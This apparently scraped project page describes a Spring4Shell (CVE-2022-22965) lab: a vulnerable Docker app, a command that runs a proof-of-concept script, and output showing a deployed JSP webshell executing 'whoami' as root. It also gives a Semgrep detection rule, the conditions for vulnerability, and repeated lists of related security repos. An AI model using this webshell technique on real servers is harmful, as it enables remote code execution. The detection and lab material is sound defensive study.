CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

A script to search, scrape and scan for Apache Log4j CVE-2021-44228 affected files using Google dorks

A set of blender assets created for the $yb NFT project.

Guess the password for Tik Tok accounts

Domain abuse scanner covering domainsquatting and phishing keywords.

SpiderFoot automates OSINT collection so that you can focus on analysis.

Rapidly enumerate subdomains and domains using rapiddns.io.

Python tool for dumping flash via uboot reliably

Binary check tool to identify command injection and format string vulnerabilities in blackbox binaries

A Safer PoC for CVE-2022-22965 (Spring4Shell)

Log4j minecraft with python

Unsafe Twig processing of static pages leading to RCE in Grav CMS 1.7.10

Vuln Scanner With Python

This project is all about building an amazing application that will help users manage their passwords and even generate new passwords for them

Update of uncaptcha2 from 2019

Scan publicly accessible assets on your AWS cloud environment

LdapRelayScan - Check for LDAP protections regarding the relay of NTLM authentication

A compact version of EDI-Vetter, which uses the TLS output to quickly vet transit signals.

Gefilte Fish GMail filter creator

Reusable Lightweight Pythonic Dependency Injection Library

🐝 ℹ️ Honeybee extension for export to IES-VE gem file format

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

A script to search, scrape and scan for Apache Log4j CVE-2021-44228 affected files using Google dorks

A set of blender assets created for the $yb NFT project.

Guess the password for Tik Tok accounts

Domain abuse scanner covering domainsquatting and phishing keywords.

SpiderFoot automates OSINT collection so that you can focus on analysis.

Rapidly enumerate subdomains and domains using rapiddns.io.

Python tool for dumping flash via uboot reliably

Binary check tool to identify command injection and format string vulnerabilities in blackbox binaries

A Safer PoC for CVE-2022-22965 (Spring4Shell)

Log4j minecraft with python

Unsafe Twig processing of static pages leading to RCE in Grav CMS 1.7.10

Vuln Scanner With Python

This project is all about building an amazing application that will help users manage their passwords and even generate new passwords for them

Update of uncaptcha2 from 2019

Scan publicly accessible assets on your AWS cloud environment

LdapRelayScan - Check for LDAP protections regarding the relay of NTLM authentication

A compact version of EDI-Vetter, which uses the TLS output to quickly vet transit signals.

Gefilte Fish GMail filter creator

Reusable Lightweight Pythonic Dependency Injection Library

🐝 ℹ️ Honeybee extension for export to IES-VE gem file format

Vulnerable app requirements¹